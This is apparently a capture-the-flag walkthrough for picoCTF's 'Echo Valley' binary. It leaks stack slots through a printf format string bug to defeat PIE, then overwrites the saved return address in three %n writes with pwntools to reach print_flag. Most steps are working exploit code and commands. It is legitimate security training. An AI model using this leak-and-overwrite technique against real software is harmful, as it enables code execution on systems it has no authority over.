Description
A PIE-enabled binary echoes whatever you shout into it using a bare printf(buf). Use that format string vulnerability to leak the binary base, locate print_flag, and overwrite the return address.
Setup
Grab the binary and source from the challenge page.
Inspect the source: echo_valley() calls printf(buf) directly, the textbook format string vulnerability.
Run checksec: PIE enabled + Full RELRO + Stack Canary + NX + SHSTK + IBT. Full RELRO blocks GOT overwrite, so the return address is the target. The format string write-what-where approach targets the return address directly without corrupting the canary, so canary detection is not triggered.
Derive offsets locally with objdump so you don't hardcode someone else's numbers.
Probe the format-string position with %p chains to find which slot reflects your buffer (used as the offset argument to fmtstr_payload).
nc verbal-sleep.picoctf.net <PORT_FROM_INSTANCE>checksec --file=valleyobjdump -D valley | grep -E '<print_flag>:|<main>:'# Probe format-string offset interactively, find which %N$p echoes 0x4141414141414141:python3 -c "print('AAAAAAAA' + '.%p'*15)" | nc verbal-sleep.picoctf.net <PORT_FROM_INSTANCE>Solution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Leak the binary base and stack return address
ObservationThe binary is PIE, and printf(buf) takes user input directly, so the format string can read any stack slot. Leak a saved return address at a known offset and the PIE base falls out, which locates print_flag at runtime.First find your format-string position: sendAAAAAAAA.%1$p.%2$p...%15$pand look for the slot whose%N$pechoes0x4141414141414141- that N is your offset. Then send%20$p::%21$p. Slot 20 holds the saved $rbp value (the frame pointer); slot 21 holds the return address back into main, which is used to derive the PIE base. On x86-64, the saved return address sits 8 bytes above the saved $rbp on the stack, so the return-address-location is leak[20] + 8. Derive main's static offset (0x13f2 here) by runningobjdump -D valley | grep '<main>:'and subtracting from the runtime slot 21 leak to recover the PIE base. Always re-derive offsets locally; rebuilds shift them.bashp.sendlineafter(b'Shouting: ', b'%20$p::%21$p')bashp.recvuntil(b'You heard in the distance: ')bashline = p.recvline().decode().strip().split('::')pythonreturn_addr_location = int(line[0], 16) + 8pythonmain_addr = int(line[1], 16)bashpie_base = main_addr - 0x13f2bashprint_flag_addr = pie_base + 0xc48 # offset of print_flag in binaryWhat didn't work first
Tried: Use %20$p alone and treat that leaked value directly as the PIE base without subtracting main's static offset.
Slot 20 holds the saved frame pointer, which points into the stack rather than into the binary, so subtracting a binary offset from it gives nonsense. Slot 21 is the saved return address into main, a genuine code pointer. Subtract main's static offset from objdump to get the PIE base.
Tried: Hardcode the format-string position as offset 6 when probing for the buffer slot instead of testing with AAAAAAAA chains.
Where the buffer sits in printf's argument list depends on the runtime frame layout, which shifts with builds, optimization levels, and local versus remote. Send a run of A's followed by indexed %p specifiers and look for 0x4141414141414141. Guessing an offset may work on one build and quietly point the write somewhere else on another.
Learn more
With Full RELRO enabled, the GOT (Global Offset Table) is marked read-only after the dynamic linker resolves symbols at startup. This prevents the classic technique of overwriting a GOT entry to redirect a library call to
system(). The alternative is to target the saved return address on the stack inside the vulnerable function. When the function executes itsretinstruction, it pops your supplied address into the instruction pointer.Stack position 20 holds the saved
$rbp(the caller's frame pointer). On x86-64, the calling convention places the saved return address 8 bytes above the saved$rbpon the stack, so the address of the slot to overwrite isleak[20] + 8. Position 21 holds the return address back intomain, which is a pointer into the binary that lets you compute the PIE base forprint_flag's absolute address. Both leaks come from a singleprintfcall with the format string%20$p::%21$p.Use
objdump -D valley | grep -E "<print_flag>:|<main>:"locally to obtain the static offsets, then verify them at runtime. Different builds of the binary may have different offsets, so always derive them from the actual challenge binary rather than hardcoding guesses.Step 2Build the format string write payload
ObservationFull RELRO rules out a GOT overwrite, and the input buffer is only 100 bytes. Split the six-byte address into three two-byte writes so each format string fits, and aim them at the saved return address on the stack.fmtstr_payload writes a value at an address using %n. The input buffer is 100 bytes, and a full 8-byte%nwrite requires a format string that itself overflows it - so split into three 2-byte (short) writes that fit comfortably. The three writes target consecutive offsets 0/+2/+4 covering the low 6 bytes (the top two are zero in user-space and already correct). Each iteration of the echo loop accepts one chunk; the function still hasn't returned, so partial writes accumulate safely.bashcontext.arch = 'amd64'bashchunks = [print_flag_addr & 0xFFFF,bash(print_flag_addr >> 16) & 0xFFFF,bash(print_flag_addr >> 32) & 0xFFFF]bashp.sendline(fmtstr_payload(6, {return_addr_location: chunks[0]}, write_size='short'))bashp.sendline(fmtstr_payload(6, {return_addr_location + 2: chunks[1]}, write_size='short'))bashp.sendline(fmtstr_payload(6, {return_addr_location + 4: chunks[2]}, write_size='short'))What didn't work first
Tried: Use fmtstr_payload without specifying write_size='short', letting it default to a full 8-byte write in a single sendline call.
The default write size builds a format string longer than the 100-byte buffer, so printf truncates or misparses it and the write lands somewhere wrong or nowhere. Three two-byte writes each fit comfortably. Send them as three separate lines while the echo loop is still running, so all three land before the ret.
Tried: Attempt a GOT overwrite targeting printf or puts instead of the saved return address, since that is the more common format string exploitation path.
Full RELRO makes the whole GOT read-only once dynamic linking finishes, so a %n write there segfaults on a page with no write permission. That is a signal on the server, not an application error, so your exploit just hangs and times out. The stack stays writable, which is why the saved return address works.
Learn more
The
%nformat specifier writes the count of characters printed so far to the memory address pointed to by the corresponding argument. By using%<width>cto print an exact number of characters first, an attacker can control what value gets written to an arbitrary address. fmtstr_payload() from pwntools automates this arithmetic, generating a format string that performs one or more memory writes in a singleprintfcall.A 64-bit address is 8 bytes (6 significant bytes plus 2 zero bytes at the top for user-space addresses). Writing it in one shot would require a format string over 100 bytes long - larger than the buffer. The solution is to split the write into three 2-byte (
short) writes targeting consecutive memory locations:return_addr_location,+2, and+4. Each write goes in a separate echo iteration. The function's return address is only read when the function executesret, so all three partial writes complete safely before that happens.The offset
6passed tofmtstr_payloadis the format string's position in theprintfargument list - the stack slot where the format string buffer itself begins. Finding this offset requires some probing: sendAAAAAAAA.%1$p.%2$p...and find the slot that echoes0x4141414141414141(the hex encoding of 8 A's on x86_64). That position number is the offset to pass tofmtstr_payload. The Format String CTF guide walks through finding this offset and chaining %n writes step-by-step.Step 3Trigger the return and capture the flag
ObservationThe echo loop only breaks on the literal string exit. Send it once all three writes have landed, and the ret pops your overwritten address.The echo loop reads input and breaks on the literal stringexit; on break,retpops the (now-overwritten) saved RIP and execution jumps toprint_flag, which reads and prints the flag file.bashp.sendline(b'exit')pythonprint(p.recvall().decode())Expected output
picoCTF{3ch0_v4ll3y_...}Learn more
The three-write approach patches the return address one 16-bit chunk at a time while the function is still running. Sending
exittriggers the function's exit path, executing theretinstruction which reads the now-overwritten return address. Execution jumps toprint_flag, which callssystem("cat flag.txt")or directly reads the flag file and prints it to stdout.This technique - overwriting a return address via format string
%nwrites - bypasses both PIE (defeated by the leak) and Full RELRO (defeated by targeting the stack instead of the GOT). This binary does have a stack canary, but the format string write-what-where attack bypasses it entirely:fmtstr_payloadwrites directly to the saved return address on the stack without overflowing through the canary location, so the canary value is never touched and the check at function exit passes normally. The ASLR / PIE bypass guide details the leak-and-rebase pattern used here.
Interactive tools
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{3ch0_v4ll3y_...}
Leak positions 20 and 21, compute print_flag's runtime address, overwrite the return address in three 16-bit chunks via fmtstr_payload, then send 'exit'.